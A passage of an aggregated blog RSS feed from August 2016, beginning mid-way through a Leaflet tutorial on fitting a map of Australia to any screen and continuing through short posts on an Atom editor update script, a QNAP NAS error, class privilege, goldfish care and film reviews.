&lt;h3 id="3.-dynamically-fit-the-map-to-fill-the-device-screen-size"&gt;3. Dynamically Fit the Map to Fill the Device Screen Size &lt;a class="direct-link" href="https://lukesingham.com/map-of-australia-using-osm-psma-and-shiny/#3.-dynamically-fit-the-map-to-fill-the-device-screen-size"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;There is one issue with setting the zoom, since the zoom of the map is fixed and the device size is variable depending on the device being used. For example, if you set the zoom using your desktop screen, then loaded the page on a mobile device with a fraction of the screen real estate you will only see a fraction of Australia.&lt;/p&gt;
&lt;h4 id="a.-set-the-viewport"&gt;a. Set the Viewport &lt;a class="direct-link" href="https://lukesingham.com/map-of-australia-using-osm-psma-and-shiny/#a.-set-the-viewport"&gt;#&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;&lt;a href="http://www.w3schools.com/css/css_rwd_viewport.asp"&gt;Check out W3's intro to the viewport&lt;/a&gt;. Included the following in the head of your html.&lt;/p&gt;
&lt;pre class="language-html"&gt;&lt;code class="language-html"&gt;&lt;span class="token tag"&gt;&lt;span class="token tag"&gt;&lt;span class="token punctuation"&gt;&amp;lt;&lt;/span&gt;meta&lt;/span&gt; &lt;span class="token attr-name"&gt;name&lt;/span&gt;&lt;span class="token attr-value"&gt;&lt;span class="token punctuation attr-equals"&gt;=&lt;/span&gt;&lt;span class="token punctuation"&gt;"&lt;/span&gt;viewport&lt;span class="token punctuation"&gt;"&lt;/span&gt;&lt;/span&gt; &lt;span class="token attr-name"&gt;content&lt;/span&gt;&lt;span class="token attr-value"&gt;&lt;span class="token punctuation attr-equals"&gt;=&lt;/span&gt;&lt;span class="token punctuation"&gt;"&lt;/span&gt;width=device-width, height=device-height, initial-scale=1.0&lt;span class="token punctuation"&gt;"&lt;/span&gt;&lt;/span&gt;&lt;span class="token punctuation"&gt;/&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h4 id="b.-change-the-%23map-styling"&gt;b. Change the #map Styling &lt;a class="direct-link" href="https://lukesingham.com/map-of-australia-using-osm-psma-and-shiny/#b.-change-the-%23map-styling"&gt;#&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;The leaflet choropleth example has the following styling applied to the &lt;code&gt;div&lt;/code&gt; map:&lt;/p&gt;
&lt;pre class="language-css"&gt;&lt;code class="language-css"&gt;&lt;span class="token selector"&gt;#map&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt; &lt;span class="token property"&gt;width&lt;/span&gt;&lt;span class="token punctuation"&gt;:&lt;/span&gt; 800px&lt;span class="token punctuation"&gt;;&lt;/span&gt; &lt;span class="token property"&gt;height&lt;/span&gt;&lt;span class="token punctuation"&gt;:&lt;/span&gt; 500px&lt;span class="token punctuation"&gt;;&lt;/span&gt; &lt;span class="token punctuation"&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is a fixed size, we want to change this to be relative. The following will fit to any screensize&lt;/p&gt;
&lt;pre class="language-css"&gt;&lt;code class="language-css"&gt;&lt;span class="token selector"&gt;#map&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt; &lt;span class="token property"&gt;position&lt;/span&gt;&lt;span class="token punctuation"&gt;:&lt;/span&gt; absolute&lt;span class="token punctuation"&gt;;&lt;/span&gt; &lt;span class="token property"&gt;top&lt;/span&gt;&lt;span class="token punctuation"&gt;:&lt;/span&gt; 0&lt;span class="token punctuation"&gt;;&lt;/span&gt; &lt;span class="token property"&gt;right&lt;/span&gt;&lt;span class="token punctuation"&gt;:&lt;/span&gt; 0&lt;span class="token punctuation"&gt;;&lt;/span&gt; &lt;span class="token property"&gt;bottom&lt;/span&gt;&lt;span class="token punctuation"&gt;:&lt;/span&gt; 0&lt;span class="token punctuation"&gt;;&lt;/span&gt; &lt;span class="token property"&gt;left&lt;/span&gt;&lt;span class="token punctuation"&gt;:&lt;/span&gt; 0&lt;span class="token punctuation"&gt;;&lt;/span&gt; &lt;span class="token punctuation"&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h4 id="c.-set-relative-zoom"&gt;c. Set Relative Zoom &lt;a class="direct-link" href="https://lukesingham.com/map-of-australia-using-osm-psma-and-shiny/#c.-set-relative-zoom"&gt;#&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;The steps before fix the filling of the screen. So now we have variable screen fill and fixed zoom. What we want is variable screen fill and variable zoom. That way, leaflet will automatically zoom to the maximum it can whilst keeping all of Australia visible on the device. Thankfully, leaflet provides a function for this, &lt;code&gt;fitbounds&lt;/code&gt;. We need to change this:&lt;/p&gt;
&lt;pre class="language-js"&gt;&lt;code class="language-js"&gt;&lt;span class="token comment"&gt;// set up the map&lt;/span&gt;&lt;br /&gt;&lt;span class="token keyword"&gt;var&lt;/span&gt; map &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token constant"&gt;L&lt;/span&gt;&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token function"&gt;map&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token string"&gt;'map'&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token function"&gt;setView&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token punctuation"&gt;[&lt;/span&gt;&lt;span class="token operator"&gt;-&lt;/span&gt;&lt;span class="token number"&gt;27.833&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt; &lt;span class="token number"&gt;133.583&lt;/span&gt;&lt;span class="token punctuation"&gt;]&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt; &lt;span class="token number"&gt;4&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you imagine a box containing Australia, then draw a diagonal through that box, the latitude and longitude of the diagnoal line's endpoints are what the &lt;code&gt;fitBounds()&lt;/code&gt; constructs as a container from. I picked a point at the south easter tip of Tasmania and the other to the north west of Western Australia. Here's the code:&lt;/p&gt;
&lt;pre class="language-js"&gt;&lt;code class="language-js"&gt;&lt;span class="token comment"&gt;// set up the map&lt;/span&gt;&lt;br /&gt;&lt;span class="token keyword"&gt;var&lt;/span&gt; map &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token constant"&gt;L&lt;/span&gt;&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token function"&gt;map&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token string"&gt;'map'&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token function"&gt;setView&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token punctuation"&gt;[&lt;/span&gt;&lt;span class="token operator"&gt;-&lt;/span&gt;&lt;span class="token number"&gt;27.833&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt; &lt;span class="token number"&gt;133.583&lt;/span&gt;&lt;span class="token punctuation"&gt;]&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token function"&gt;fitBounds&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;br /&gt;&lt;span class="token punctuation"&gt;[&lt;/span&gt; &lt;span class="token punctuation"&gt;[&lt;/span&gt;&lt;span class="token operator"&gt;-&lt;/span&gt;&lt;span class="token number"&gt;43.21&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt; &lt;span class="token number"&gt;147.8&lt;/span&gt;&lt;span class="token punctuation"&gt;]&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt; &lt;span class="token punctuation"&gt;[&lt;/span&gt;&lt;span class="token operator"&gt;-&lt;/span&gt;&lt;span class="token number"&gt;12.5&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt; &lt;span class="token number"&gt;117.2&lt;/span&gt;&lt;span class="token punctuation"&gt;]&lt;/span&gt; &lt;span class="token punctuation"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id="other-useful-resources-encountered"&gt;Other Useful Resources Encountered &lt;a class="direct-link" href="https://lukesingham.com/map-of-australia-using-osm-psma-and-shiny/#other-useful-resources-encountered"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="http://gadm.org/country"&gt;Shapefiles for all countries&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://github.com/Robinlovelace/Creating-maps-in-R/blob/master/vignettes/geoJSON.Rmd"&gt;Creating maps in R&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://github.com/rstudio/leaflet/issues/55"&gt;Useful leaflet Github comments&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="http://rpubs.com/jcheng/us-states-2"&gt;Joe Cheng, as always a pioneeR&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://github.com/mbostock/topojson/wiki/Command-Line-Reference"&gt;Convert shape file formats&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;</description><author>Luke Singham</author><pubDate>Wed, 10 Aug 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://lukesingham.com/map-of-australia-using-osm-psma-and-shiny/</guid></item><item><title>The Great Migration</title><link>https://xavd.id/blog/post/the-great-migration/</link><description>undefined&lt;br /&gt;&lt;br /&gt;&lt;a href="https://xavd.id/blog/post/the-great-migration/"&gt;Read the whole thing&lt;/a&gt;.</description><author>The David Brownman Blog</author><pubDate>Tue, 09 Aug 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xavd.id/blog/post/the-great-migration/</guid></item><item><title>Lolita</title><link>https://apurva-shukla.me/bookshelf/lolita/</link><description>⭐ ⭐ ⭐ ⭐ Undoubtedly the face of transgression; this spectacle of the inner workings of Humbert Humbert divulge humanity’s own insecurities…</description><author>Apurva Shukla's RSS Feed</author><pubDate>Mon, 08 Aug 2016 10:00:00 GMT</pubDate><guid isPermaLink="true">https://apurva-shukla.me/bookshelf/lolita/</guid></item><item><title>Atom Self-Update Script</title><link>https://peterlyons.com/problog/2016/08/atom-self-update-script/</link><description>&lt;p&gt;My work setup requires a non-administrator account for normal login. I have sudo access set up for my normal user. For some reason, Atom's autoupdate feature can't seem to deal with this and gets stuck in a loop trying to install updates. So I just scripted it as below:&lt;/p&gt;
&lt;pre class="language-sh "&gt;&lt;code class="language-sh"&gt;update_atom() {
  local atom=&amp;quot;${HOME}Downloads&amp;#x2f;atom.zip&amp;quot;
  echo -n &amp;quot;downloading…&amp;quot;
  curl --silent --fail --location &amp;#x27;https:&amp;#x2f;&amp;#x2f;atom.io&amp;#x2f;download&amp;#x2f;mac&amp;#x27; &amp;gt; &amp;quot;${atom}&amp;quot;
  echo &amp;quot;✓&amp;quot;
  local version
  version=$(unzip -p &amp;quot;${atom}&amp;quot; Atom.app&amp;#x2f;Contents&amp;#x2f;Info.plist \
    | grep -A 1 -i CFBundleVersion \
    | grep string \
    | tr -d -c 0-9.)
  echo -n &amp;quot;install Atom ${version}? (y&amp;#x2f;n): &amp;quot;
  if [[ -n &amp;quot;${ZSH_VERSION}&amp;quot; ]]; then
    read -q confirm
  else
    read -n 1 confirm
  fi
  if [[ &amp;quot;${confirm}&amp;quot; != &amp;quot;y&amp;quot; ]]; then
    return 1
  fi
  echo -n &amp;quot;installing…&amp;quot;
  sudo rm -rf &amp;#x2f;Applications&amp;#x2f;Atom.app
  sudo unzip -q -d &amp;#x2f;Applications &amp;quot;${atom}&amp;quot;
  sudo chown -R &amp;quot;${USER}&amp;quot; &amp;#x2f;Applications&amp;#x2f;Atom.app
  echo -n &amp;quot;✓&amp;quot;
}
&lt;/code&gt;&lt;/pre&gt;</description><author>Pete's Points</author><pubDate>Mon, 08 Aug 2016 06:06:34 GMT</pubDate><guid isPermaLink="true">https://peterlyons.com/problog/2016/08/atom-self-update-script/</guid></item><item><title>Aarron Walter: VP of Design Education at InVision</title><link>https://solomon.io/aarron-walter-vp-of-design-education-at-invision/</link><description>Aarron Walter is the VP of Design Education at InVision and is the author of Designing for Emotion. Previously he founded the UX practice at Mailchimp.</description><author>Sam Solomon</author><pubDate>Mon, 08 Aug 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://solomon.io/aarron-walter-vp-of-design-education-at-invision/</guid></item><item><title>Where do I get ideas for my learning projects?</title><link>https://goshacmd.com/learning-project-ideas/</link><author>Gosha Spark</author><pubDate>Mon, 08 Aug 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://goshacmd.com/learning-project-ideas/</guid></item><item><title>Using github releases to deploy libraries</title><link>https://www.umarniz.com/using-github-releases-to-deploy-libraries/</link><description>I recently joined Sense Labs and having setup a static analysis build server a little while ago with Jenkins and Infer I decided to do the…</description><author>Umar Nizamani | RSS Feed</author><pubDate>Sun, 07 Aug 2016 22:04:33 GMT</pubDate><guid isPermaLink="true">https://www.umarniz.com/using-github-releases-to-deploy-libraries/</guid></item><item><title>Emojis, Or Why Can't I Just Paste The Hotdog?</title><link>https://utf9k.net/blog/emojis-or-why-cant-i-just-paste-the-hotdog/</link><description>My first ever blog post</description><author>utf9k</author><pubDate>Sun, 07 Aug 2016 14:00:00 GMT</pubDate><guid isPermaLink="true">https://utf9k.net/blog/emojis-or-why-cant-i-just-paste-the-hotdog/</guid></item><item><title>I’m Hosting The Designer News Podcast</title><link>https://solomon.io/im-hosting-designer-news-podcast/</link><description>I’ve got a new project. I’ll be hosting DN FM, which is the Designer News Podcast. Designer News is one of my favorite online communities.</description><author>Sam Solomon</author><pubDate>Sun, 07 Aug 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://solomon.io/im-hosting-designer-news-podcast/</guid></item><item><title>2016-08-07</title><link>https://ho.dges.online/pictures/2016-08-07/</link><description>&lt;p&gt;Fork queue!&lt;/p&gt;</description><author>ho.dges.online</author><pubDate>Sun, 07 Aug 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2016-08-07/</guid></item><item><title>Upvotes over time by subreddit or: Why /r/The_Donald is always on the front page</title><link>https://www.ryancompton.net/2016/08/07/upvotes-over-time-by-subreddit-or-why-the_donald-is-always-on-the-front-page-of-reddit.html</link><description>Here’s a plot of the cumulative number of upvotes per minute for submissions to a few major subreddits:</description><author>Ryan Compton</author><pubDate>Sun, 07 Aug 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.ryancompton.net/2016/08/07/upvotes-over-time-by-subreddit-or-why-the_donald-is-always-on-the-front-page-of-reddit.html</guid></item><item><title>Having a fish tank is supposed to be about stress relief</title><link>https://liza.io/having-a-fish-tank-is-supposed-to-be-about-stress-relief/</link><description>&lt;blockquote class="twitter-tweet"&gt;&lt;p dir="ltr" lang="en"&gt;&lt;a href="https://twitter.com/Lazer"&gt;@Lazer&lt;/a&gt; Having a fish tank is supposed to be about stress relief.&lt;/p&gt;&amp;mdash; Steven D Marlow (@sd_marlow) &lt;a href="https://twitter.com/sd_marlow/status/761306351767257088"&gt;August 4, 2016&lt;/a&gt;&lt;/blockquote&gt;

&lt;h3&gt;Zhora the fairground goldfish&lt;/h3&gt;
&lt;p&gt;I had a goldfish as a kid in elementary school in Alabama, obtained for free when I won it at a school fair. My family and I knew nothing about proper care of any fish - poor Zhora spent two years in a small round bowl with no filter and no heater, us not knowing any better than to change the water every week and feed him flakes daily. We actually thought he had a good life. Only years later when I happend to look into having an aquarium again did I realize how wrong we were and how miserable Zhora must have been. &lt;a href="http://injaf.org/care-and-information/the-goldfish-section/a-fish-is-a-life-not-just-a-fairground-prize/"&gt;Here&lt;/a&gt; is what I (as a complete noob) think is a good overview of why it&amp;rsquo;s bad to give or receive &amp;ldquo;free goldfish&amp;rdquo; at fairgrounds.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Sat, 06 Aug 2016 19:42:49 GMT</pubDate><guid isPermaLink="true">https://liza.io/having-a-fish-tank-is-supposed-to-be-about-stress-relief/</guid></item><item><title>Castle Hill Winter Trip 2016 Photos</title><link>https://smcleod.net/2016/08/castle-hill-winter-trip-2016-photos/</link><description>Castle Hill Winter Trip 2016 [Photos]</description><author>smcleod.net</author><pubDate>Sat, 06 Aug 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://smcleod.net/2016/08/castle-hill-winter-trip-2016-photos/</guid></item><item><title>Email as a Microservice</title><link>https://www.brightball.com/articles/email-as-a-microservice</link><description>Email might be one of the most often overlooked pieces of any web application. Usually the biggest discussion around it in a project begins and ends with “and we’ll send them an email when this happens…”.
A little thought and some minor adjustments can help us avoid some problems that will grow as your project does. Let’s talk about email as a microservice.</description><author>Brightball Articles</author><pubDate>Sat, 06 Aug 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.brightball.com/articles/email-as-a-microservice</guid></item><item><title>The game of classes: Hidden deprivation</title><link>http://dimitarsimeonov.com/2016/08/05/the-game-of-classes-hidden-deprivation</link><description>&lt;p&gt;Why is it so hard to think about something that I’ve been deprived
of? Maybe because unless I’ve experienced the new perspective, I don’t
realize I’ve been missing it? What have I been missing?&lt;/p&gt;

&lt;p&gt;Well, for one part - I was not exposed to much education about how to
be successful in life and how to negotiate. I’ve been living with the
impression that I simply need to do a good job. The way I’ve always
imagined achieving success is to work harder, do better job, and get
paid more. And that has worked so far. By the book. I’ve done a good
job of solving math problems in high school and qualified to
participate in IMO. I’ve done good job applying to universities and
entered MIT. I’ve done good job studying computer science and gotten a
well-paying job. I’ve eventually improved on the job and gotten a
raise. I’ve noted the pattern - I improve my skill and get rewarded
for it.&lt;/p&gt;

&lt;p&gt;But is this how most successful people came to be? No. This is how
highly paid professionals came to be, but not how world leaders came
to be. Not to say that they didn’t develop mastery in their
fields. They did. But they went beyond that and figured out how to
best extract value from this mastery. How to &lt;em&gt;sell&lt;/em&gt; their skills. They
didn’t fully rely that there will be a market for their outstanding
skills. Nope. By definition, if their skill is rare and extraordinary,
it will be unique and there wouldn’t be a market for it.&lt;/p&gt;

&lt;p&gt;Mavericks will develop amazing mastery in something just to see that
nobody will reward them for it. Nobody rewarded Van Gogh during his
life about pushing the state of the art. Only after his death, his
relatives figured out how to present his work in a way that it
attracts attention. If it wasn’t for them, we wouldn’t know of his
genius.&lt;/p&gt;

&lt;p&gt;For me, as get better and better at my professional job, I eventually
will reach a ceiling if don’t learn how to present my work in a
appealing way. Achieving mastery is a prerequisite but it is not
enough. Mastery multiplies by salesmanship. This has been a truth
that I had lived without knowing. All my life I’ve proceeded happily
about my business, without feeling that I’m missing out.&lt;/p&gt;

&lt;p&gt;To put it in nerdy terms - I’ve been descending only along one
dimension of the success gradient.&lt;/p&gt;

&lt;p&gt;Sometimes privilege is about knowing certain truths and strategies
about life, which you can only learn from other privileged
people. They might be hard to discover for ourselves by chance.  We as
humans are pretty bad at imagining things we haven’t experienced
before. New cuisine tastes, the feeling of bunjee jumping, the freedom
of not needing to work. We are born without knowing how these taste,
and unless we experience them, we never learn them.&lt;/p&gt;

&lt;p&gt;Oh, wouldn’t it be wonderful if everybody could taste all experiences
and decide for themselves what kind of life they want to have! And
then have to knowledge and skills to achieve it. And achieve it in
the best way that doesn’t stop others from having their best life?
Yes, it would be wonderful, but it’s a dream. There are powerful
forces working against it.&lt;/p&gt;

&lt;p&gt;These are not necessarily explicit forces such as a conspiracy
organization, trying to control the people. I think these forces stem
from unavoidable mathematical and economical limitations to the
availability of tasting variety in life. I think that these
mathematical necessities induce the creation of control schemes such
as government, education system and religion. These, explicit and
overt systems set a frame for the society in which to distribute the
goods and the experiences. When the society is weak and poor, these
systems form its backbone and keep it from collapsing. Without these
systems the society will devolve into anarchy, violence, and
disorder. Until a strong force comes and takes over - either from within or from outside.&lt;/p&gt;

&lt;p&gt;In the happy case, these systems work well and make the society
stronger and richer. However, these systems like to preserve
themselves even after they’ve solved the problem they were designed to
solve and are no longer needed. The reason for this is that these
systems always favor a certain group of people over the
others. Patricians and plebians, academics vs uneducated people, men
vs women, citizen of one country versus another. When a system fixes a
problem and creates &lt;em&gt;surplus&lt;/em&gt; of experiences, the group of people who
were benefiting so far stands to lose their advantage. If the system
is replaced by a more fair system, these people may lose some of their
exclusivity and surplus. In the long run, they might benefit from a
system change, but in the short term they stand to lose their
privilege. They fight back and try to preserve the current system in
which they reap the benefits.&lt;/p&gt;

&lt;p&gt;If the suppressed group can see the benefits that are available but
not given, it will fight. Socially, legally, even violently. Either
side may win so there is a risk for the dominating group.&lt;/p&gt;

&lt;p&gt;The dominating group doesn’t want this risk, so they naturally keep
the benefits hidden. If the suppressed group doesn’t realize they are
missing out, they will not fight. Thus, the dominating group often
wins the fight before it even happens.&lt;/p&gt;

&lt;p&gt;Certain benefits are harder to hide. In those cases, the dominating
group can provide some other small &lt;em&gt;unrelated&lt;/em&gt; benefit to the other
group making the other group more comfortable and complacent, without
sacrificing its dominant position.&lt;/p&gt;

&lt;p&gt;It is the game of classes. Similar to the game of thrones, but
involving entire groups of populations and a lot more time. And this
game can be played without necessarily involving much of ill will
between the classes. Everybody works for their interests and the
interests of the dominating groups are to stay dominating.&lt;/p&gt;</description><author>D13V</author><pubDate>Fri, 05 Aug 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2016/08/05/the-game-of-classes-hidden-deprivation</guid></item><item><title>Light Saver, a nice project... that should be explained better</title><link>https://stop.zona-m.net/2016/08/light-saver-a-nice-project-that-should-be-explained-better/</link><description>&lt;p&gt;Vedant Desai is a &lt;a href="http://littlebits.cc/community/inventors/vedant-desai"&gt;&amp;ldquo;Smart Fifth Grader Football Player&amp;rdquo; &lt;/a&gt;who just invented a &lt;a href="http://littlebits.cc/projects/light-saver-a-rule-your-room-invention"&gt;&amp;ldquo;Light Saver&amp;rdquo; device &lt;/a&gt;that&amp;hellip;&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Thu, 04 Aug 2016 22:44:19 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2016/08/light-saver-a-nice-project-that-should-be-explained-better/</guid></item><item><title>My backup strategy to USB disk using duply</title><link>https://srijan.ch/my-backup-strategy-part-1</link><description>Local system backup using duply</description><author>Srijan Choudhary, all posts</author><pubDate>Thu, 04 Aug 2016 20:55:00 GMT</pubDate><guid isPermaLink="true">https://srijan.ch/my-backup-strategy-part-1</guid></item><item><title>Syncing Stash/BitBucket with searchcode server</title><link>https://boyter.org/2016/08/syncing-stashbitbucket-searchcode-server/</link><description>&lt;p&gt;Recently it came up to perform a slight integration piece between a on premises Stash/BitBucket install and a searchcode server install. Thankfully both have an API and very thankfully there is a nice Python library for talking to Stash/BitBucket.&lt;/p&gt;
&lt;p&gt;Below is the code used. It pulls out all of the repositories from every project, checks if it exists in searchcode and if not adds it as a repository to be indexed. You need to install stashy (pip install stashy) and run it whenever you have new repositories. One idea is to set it as a cron task and ensure everything is in sync.&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Thu, 04 Aug 2016 08:14:19 GMT</pubDate><guid isPermaLink="true">https://boyter.org/2016/08/syncing-stashbitbucket-searchcode-server/</guid></item><item><title>QNAP NAS Cannot unmount disk</title><link>https://grh.am/2016/qnap-nas-cannot-unmount-disk/</link><description>&lt;p&gt;Whilst setting up my new QNAP NAS, I received a warning:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;[Volume DataVol1] The file system is not clean. It is suggested that you go to [Storage Manager] to run "Check File System".
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;So, wishing to ensure my new HDD was healthy, I did as I was told and ran the &amp;lsquo;File System Check&amp;rsquo; tool.&lt;/p&gt;
&lt;p&gt;After a couple of minutes, I received another message, this time an error:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;[Volume DataVol1] Examination failed (Cannot unmount disk).
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Not a great sign. A swift Google for the error message (which you have no doubt done to get to this page!) revealed that SSH and the command line was the way to go, thanks to &lt;a href="http://dev.mensfeld.pl/2013/08/qnap-nas-file-system-not-clean-examination-failed-cannot-unmount-disk/"&gt;Maciej Mensfeld&lt;/a&gt;:&lt;/p&gt;</description><author>Graham Stevens – Grh.am</author><pubDate>Thu, 04 Aug 2016 00:17:01 GMT</pubDate><guid isPermaLink="true">https://grh.am/2016/qnap-nas-cannot-unmount-disk/</guid></item><item><title>Secondary action invocation in Phrebar</title><link>http://www.nuke24.net/plog/13.html</link><author>TOGoS's Project Log</author><pubDate>Wed, 03 Aug 2016 21:13:37 GMT</pubDate><guid isPermaLink="true">http://www.nuke24.net/plog/13.html</guid></item><item><title>My GopherCon experience</title><link>https://divan.dev/posts/gophercon16/</link><description>&lt;p&gt;A couple of weeks ago I gave a talk at the largest Go conference, &lt;a href="http://gophercon.com"&gt;GopherCon&lt;/a&gt;, in Denver. It was the first time I attended GopherCon at all, and the first time ever I spoke in English in front of 1400+ people, and it was an absolutely incredible experience. Here is my story.&lt;/p&gt;
&lt;p&gt;My journey to GopherCon started on a cold winter day in the apartments in the center of Odessa, Ukraine, where I was living at that time. I was one of the organizers of the first Go meetup in Lviv (Ukraine) and have prepared one general talk about Go. We targeted mainly newcomers, so I wanted to make another talk that would share my passion and admiration of some of the coolest aspects of Go - concurrency.&lt;/p&gt;</description><author>divan's blog</author><pubDate>Wed, 03 Aug 2016 20:28:46 GMT</pubDate><guid isPermaLink="true">https://divan.dev/posts/gophercon16/</guid></item><item><title>Eye in the Sky</title><link>https://olshansky.info/movie/eye_in_the_sky/</link><description>Olshansky's review of Eye in the Sky</description><author>🦉 olshansky 🦁</author><pubDate>Wed, 03 Aug 2016 15:40:04 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/eye_in_the_sky/</guid></item><item><title>Midnight Special</title><link>https://olshansky.info/movie/midnight_special/</link><description>Olshansky's review of Midnight Special</description><author>🦉 olshansky 🦁</author><pubDate>Wed, 03 Aug 2016 15:33:58 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/midnight_special/</guid></item><item><title>Seen in downtown Montreal...</title><link>https://purpleidea.com/blog/2016/08/03/seen-in-downtown-montreal/</link><description>&lt;p&gt;&lt;a href="https://purpleidea.com/blog/"&gt;The Technical Blog of James&lt;/a&gt; was seen on an outdoor electronic display in downtown Montreal! Thanks to one of my readers for sending this in.&lt;/p&gt;
&lt;table style="text-align: center; width: 80%; margin: 0 auto;"&gt;&lt;tr&gt;&lt;td&gt;&lt;a href="ttboj-downtown.png"&gt;&lt;img alt="I guess the smart phone revolution is over, and people are taking to reading my articles on bigger screens!" class="size-large wp-image-1866" height="100%" src="ttboj-downtown.png" width="100%" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt; I guess the smart phone revolution is over, and people are taking to reading my articles on bigger screens! The "poutine" is decent proof that this is probably Montreal.&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;p&gt;If you&amp;rsquo;ve got access to a large electronic display, put up the blog, snap a photo, and send it my way! I&amp;rsquo;ll post it here and send you some random stickers!&lt;/p&gt;</description><author>The Technical Blog of James on purpleidea.com</author><pubDate>Wed, 03 Aug 2016 04:59:23 GMT</pubDate><guid isPermaLink="true">https://purpleidea.com/blog/2016/08/03/seen-in-downtown-montreal/</guid></item><item><title>I washed my headphones</title><link>https://muffinman.io/blog/i-washed-my-headphones/</link><description>&lt;article class="article"&gt;&lt;p&gt;Recently I lost my iPhone headphones.
I didn&amp;#x27;t care much, as they were almost three years old, and I had a brand new ones.
But today, while getting ready for work, I found them in the pocket
of the pants I washed about week ago.&lt;/p&gt;
&lt;p&gt;I was sure they wouldn&amp;#x27;t work, but guess what? They do!
Probably the fact that they dried for days helped.&lt;/p&gt;
&lt;p&gt;So I guess I have a spare pair of headphones now :)&lt;/p&gt;
&lt;h3 id="update-april-2019"&gt;Update, April 2019. &lt;a class="anchor-link" href="#update-april-2019"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;This time headphones with lightning connector were washed. And dried. They are still working and playing music. But the plastic and cable warped, so I won&amp;#x27;t be using them.&lt;/p&gt;&lt;/article&gt;</description><author>Muffin Man</author><pubDate>Wed, 03 Aug 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://muffinman.io/blog/i-washed-my-headphones/</guid></item><item><title>strictNullChecks</title><link>http://www.nuke24.net/plog/12.html</link><author>TOGoS's Project Log</author><pubDate>Tue, 02 Aug 2016 21:13:37 GMT</pubDate><guid isPermaLink="true">http://www.nuke24.net/plog/12.html</guid></item><item><title>OpenConfig and IETF YANG Models: Can they converge?</title><link>https://rob.sh/post/215/</link><description>&lt;p&gt;At IETF96 in Berlin, the chairs of the NETMOD working group, and Operations Area Director (Benoit Claise) &lt;a href="https://www.ietf.org/proceedings/96/slides/slides-96-netmod-1.pdf"&gt;published a statement&lt;/a&gt; to say &amp;ldquo;Models need not, and SHOULD NOT, be structured to include nodes/leaves to indicate applied 